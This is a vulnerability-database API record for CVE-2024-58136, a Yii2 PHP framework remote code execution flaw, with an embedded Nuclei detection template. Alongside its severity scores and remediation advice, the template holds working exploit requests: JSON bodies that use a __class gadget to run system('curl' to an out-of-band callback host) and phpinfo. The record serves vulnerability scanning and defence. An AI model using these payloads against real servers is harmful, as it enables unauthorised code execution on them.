{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-58136/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-58136/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-58136/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-58136/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-58136/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-58136"},"sightings":{"href":"/api/v1/sightings/cve-2024-58136"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-58136.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-58136\n\ninfo:\n  name: Yii2 PHP Framework < 2.0.52 - Remote Code Execution\n  author: ritikchaddha\n  severity: critical\n  description: |\n    Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.\n  impact: |\n    Unauthenticated attackers can exploit improper validation of the __class key in JSON behaviors to instantiate arbitrary PHP classes and achieve remote code execution.\n  remediation: |\n    Update Yii2 PHP Framework to version 2.0.52 or later to address the remote code execution vulnerability.\n  reference:\n    - https://infosecwriteups.com/from-behaviors-to-shells-yii2-php-framework-rce-cve-2024-58136-exploit-and-mitigation-e47a60a3cecb\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-58136\n  classification:\n    epss-score: 0.87757\n    epss-percentile: 0.99754\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-58136\n    cwe-id: CWE-94\n    cpe: cpe:2.3:a:yiisoft:yii:2.0.0:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: yiisoft\n    product: yii\n    fofa-query: title=\"Yii\"\n    shodan-query: title:\"Yii\"\n  tags: cve,cve2024,yii2,rce,php,framework,kev,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    matchers:\n      - type: word\n        words:\n          - \"Yii\"\n        internal: true\n\n  - raw:\n      - |\n        POST /index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"as hack\": {\"__class\": \"GuzzleHttp\\\\\\\\Psr7\\\\\\\\FnStream\", \"class\": \"yii\\\\\\\\behaviors\\\\\\\\AttributeBehavior\", \"__construct()\": [[]], \"_fn_close\": \"system\", \"stream\":\"curl {{interactsh-url}}\"}}\n\n      - |\n        POST /index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"as hack\": {\"__class\": \"GuzzleHttp\\\\\\\\Psr7\\\\\\\\FnStream\", \"class\": \"yii\\\\\\\\behaviors\\\\\\\\AttributeBehavior\", \"__construct()\": [[]], \"_fn_close\": \"phpinfo\"}}\n\n    matchers-condition: or\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        words:\n          - \"PHP Version\"\n          - \"PHP Extension\"\n        condition: and\n# digest: 4a0a0047304502200d83ba5a0c20b5e1e4cad7c9431a9effef967af775167a69a189e859ef9a238f02210094836f40fddbd4f76e2dc8e6c9785e6a6e0f99560791eb6b16a062a268dcd0fd:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-58136"}